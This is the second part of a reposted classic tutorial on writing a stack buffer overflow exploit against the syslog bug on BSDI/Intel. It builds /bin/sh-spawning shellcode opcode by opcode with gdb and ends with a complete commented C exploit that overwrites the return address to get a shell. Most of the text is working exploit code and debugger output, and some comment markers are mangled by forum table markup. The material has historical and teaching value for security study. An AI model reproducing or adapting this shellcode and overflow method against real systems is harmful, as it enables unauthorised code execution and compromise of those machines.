How to write Buffer Overflows-Part2

The call back will be something like:[table=98%]
[tr][td] call 0x??? # this will point to the instruction after the jmp (ie # popl %esi)All put together it looks like this now:---------------------------------------------------------------------- movl %esp,%ebp xorl %eax,%eax jmp 0x??? # we don’t know where yet…# -------------[main] movl $0x???,0xfffffff8(%ebp) # we don’t know what the address will # be yet. movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl $0x??? # we don’t know what the address will # be yet.# ------------[execve] leal 0x3b,%eax lcall 0x7,0x0 call 0x??? # we don’t know where yet…----------------------------------------------------------------------[/td][/tr]
[/table]There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions.

Since we aren’t actually calling execve with a ‘call’ anymore here, we need to push the value in ecx onto the stack to simulate it.
[table=98%]
[tr][td]# ------------[execve] pushl %ecx leal 0x3b,%eax lcall 0x7,0x0[/td][/tr]
[/table]The only other thing is to not pass in the arguments to /bin/sh. We do this by changing the ’ leal 0xfffffff8(%ebp),%eax’ to ’ leal 0xfffffffc(%ebp),%eax’ [remember 0x0 was moved there].

So the whole thing looks like this (without knowing the addresses for the ‘/bin/sh\0’ string):
[table=98%]
[tr][td] movl %esp,%ebp xorl %eax,%eax # we added this jmp 0x??? # we added this popl %esi # we added this popl %ecx # we added this movl $0x???,0xfffffff5(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffffc(%ebp),%eax # we changed this pushl %eax pushl $0x??? leal 0x3b,%eax pushl %ecx # we added this lcall 0x7,0x0 call 0x??? # we added this[/td][/tr]
[/table]To figure out the bytes to load up our buffer with for the parts that were already there run gdb on the execute program.[table=98%]
[tr][td] bash$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10bc: 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp 0x1092 : movl $0x1080,0xfffffff8(%ebp) 0x1099 : movl $0x0,0xfffffffc(%ebp) 0x10a0 : pushl $0x0 0x10a2 : leal 0xfffffff8(%ebp),%eax 0x10a5 : pushl %eax 0x10a6 : pushl $0x1083 0x10ab : call 0x10bc 0x10b0 : leave 0x10b1 : ret 0x10b2 : addb %al,(%eax) 0x10b4 : jmp 0x1144 0x10b9 : addb %al,(%eax) 0x10bb : addb %cl,0x3b05(%ebp) End of assembler dump.[get out your scratch paper for this one… ] 0x108d : movl %esp,%ebp this goes from 0x108d to 0x108e. 0x108f starts the next instruction. thus we can see the machine code with gdb like this. (gdb) x/2bx 0x108d 0x108d : 0x89 0xe5[/td][/tr]
[/table]Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one inexecute that calls execve. Of course you will eventually need to put in the proper address.

When I work this out I break down the whole program so I can see what’s going on. Something like the following
[table=98%]
[tr][td] 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp (gdb) x/bx 0x108c 0x108c : 0x55 (gdb) x/bx 0x108d 0x108d : 0x89 (gdb) x/bx 0x108e 0x108e : 0xe5 (gdb) x/bx 0x108e 0x108f : 0x83 so we see the following from this: 0x55 pushl %ebp 0x89 movl %esp,%ebp 0xe5 0x83 subl $0x8,%esp etc. etc. etc. [/td][/tr]
[/table]For commands that you don’t know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs.[table=98%]
[tr][td]----pop.c-------void main() {asm(“popl %esi\n”);}—end pop.c---- bash$ gcc -g pop.c -o pop bash$ gdb pop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : popl %esi 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x5e[/td][/tr]
[/table]So, 0x5e is popl %esi. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don’t know in the jmp’s and call’s… just so long as we have the right amount of space being taken up by the jmp and call instructions… likewise for the movl’s where we will need to know the memory location of ‘sh\0\0/bin/sh\0’.

After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.

Compile the program and load it into gdb. Before you run it in gdb set a break point for the syslog call.
[table=98%]
[tr][td] (gdb) break syslog Breakpoint 1 at 0x1463 (gdb) run Starting program: /usr2/home/syslog/buf Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 0xefbfdeac) (gdb) disassemble 0xc73c 0xc77f (we know it will start at 0xc73c since thats right after the eip overflow… 0xc77f is just an educated guess as to where it will end) (gdb) disassemble 0xc73c 0xc77f Dump of assembler code from 0xc73c to 0xc77f: 0xc73c : movl %esp,%ebp 0xc73e : xorl %eax,%eax 0xc740 : jmp 0xc76b 0xc742 : popl %esi 0xc743 : popl %ecx 0xc744 : movl $0xc770,0xfffffff5(%ebp) 0xc74b : movl $0x0,0xfffffffc(%ebp) 0xc752 : pushl $0x0 0xc754 : leal 0xfffffffc(%ebp),%eax 0xc757 : pushl %eax 0xc758 : pushl $0xc773 0xc75d : leal 0x3b,%eax 0xc763 : pushl %ecx 0xc764 : lcall 0x7,0x0 0xc76b : call 0xc742 0xc770 : jae 0xc7da 0xc772 : addb %ch,(%edi) 0xc774 : boundl 0x6e(%ecx),%ebp 0xc777 : das 0xc778 : jae 0xc7e2 0xc77a : addb %al,(%eax) 0xc77c : addb %al,(%eax) 0xc77e : addb %al,(%eax) End of assembler dump.[/td][/tr]
[/table]Look for the last instruction in your code. In this case it was the ‘call’ to right after the ‘jmp’ near the beginning. Our data should be right after it and indeed we see that it is.[table=98%]
[tr][td] (gdb) x/13bc 0xc770 0xc770 : 115 ‘s’ 104 ‘h’ 0 ‘\000’ 47 ‘/’ 98 ‘b’ 105 ‘i’ 110 ‘n’ 47 ‘/’ 0xc778 : 115 ‘s’ 104 ‘h’ 0 ‘\000’ 0 ‘\000’ 0 ‘\000’[/td][/tr]
[/table]Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats… you are done. Here’s what the output will look like when you run this on a system with the non patched libc/syslog bug.[table=98%]
[tr][td] bash$ buf $ exit (do whatever here… you spawned a shell!!! yay!) bash$ [/td][/tr]
[/table]Here’s my original program with lot’s of comments:[table=98%]
[tr][td]///* For BSDI running on Intel architecture -mudge, 10/19/95 // by following the above document you should be able to write // buffer overflows for other OS’s on other architectures now // mudge@l0pht.com // // note: I haven’t cleaned this up yet… it could be much nicer *///#include char buffer[4028];void main () { int i; for(i=0; i<2024; i++) buffer[i]=0x90; /* should set eip to 0xc73c / buffer[2024]=0x3c; buffer[2025]=0xc7; buffer[2026]=0x00; buffer[2027]=0x00; i=2028;/ begin actuall program / buffer[i++]=0x89; / movl %esp, %ebp / buffer[i++]=0xe5; buffer[i++]=0x33; / xorl %eax,%eax / buffer[i++]=0xc0; buffer[i++]=0xeb; / jmp ahead / buffer[i++]=0x29; buffer[i++]=0x5e; / popl %esi / buffer[i++]=0x59; / popl %ecx / buffer[i++]=0xc7; / movl $0xc770,0xfffffff8(%ebp) / buffer[i++]=0x45; buffer[i++]=0xf5; buffer[i++]=0x70; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0xc7; / movl $0x0,0xfffffffc(%ebp) / buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x6a; / pushl $0x0 / buffer[i++]=0x00;#ifdef z_out buffer[i++]=0x8d; / leal 0xfffffff8(%ebp),%eax / buffer[i++]=0x45; buffer[i++]=0xf8;#endif/ the above is what the disassembly of execute does… but we only want to push /bin/sh to be executed… it looks like this leal puts into eax the address where the arguments are going to be passed. By pointing to 0xfffffffc(%ebp) we point to a null and don’t care about the args… could probably just load up the first section movl $0x0,0xfffffff8(%ebp) with a null and left this part the way it want’s to be / buffer[i++]=0x8d; / leal 0xfffffffc(%ebp),%eax / buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x50; / pushl %eax / buffer[i++]=0x68; / pushl $0xc773 / buffer[i++]=0x73; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x8d; / lea 0x3b,%eax / buffer[i++]=0x05; buffer[i++]=0x3b; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x51; / pushl %ecx / buffer[i++]=0x9a; / lcall 0x7,0x0 / buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x07; buffer[i++]=0x00; buffer[i++]=0xe8; / call back to ??? */ buffer[i++]=0xd2; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]=‘s’; buffer[i++]=‘h’; buffer[i++]=0x00; buffer[i++]=‘/’; buffer[i++]=‘b’; buffer[i++]=‘i’; buffer[i++]=‘n’; buffer[i++]=‘/’; buffer[i++]=‘s’; buffer[i++]=‘h’; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer);}[/td][/tr]
[/table]